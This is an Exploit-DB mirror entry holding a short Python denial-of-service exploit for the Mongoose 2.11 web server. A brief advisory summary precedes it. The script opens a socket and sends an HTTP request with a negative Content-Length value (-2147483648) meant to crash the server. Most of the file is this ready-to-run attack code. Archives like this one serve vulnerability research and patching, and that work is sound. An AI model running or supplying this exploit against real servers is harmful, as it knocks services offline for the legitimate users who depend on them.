exploit-db-mirror/platforms/windows/dos/35158.py
Offensive Security 9fc5498a7e Updated 11_05_2014
2014-11-05 04:45:14 +00:00

19 lines
No EOL
644 B
Python
Executable file

source: http://www.securityfocus.com/bid/45602/info
Mongoose is prone to a remote denial-of-service vulnerability because it fails to handle specially crafted input.
Successfully exploiting this issue will allow an attacker to crash the affected application, denying further service to legitimate users.
Mongoose 2.11 is vulnerable; other versions may also be affected.
import socket
host = 'localhost'
port = 8080
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(8)
s.connect((host, port))
s.send('GET / HTTP/1.1\r\n'
'Host: ' + host + '\r\n'
'Content-Length: -2147483648\r\n\r\n')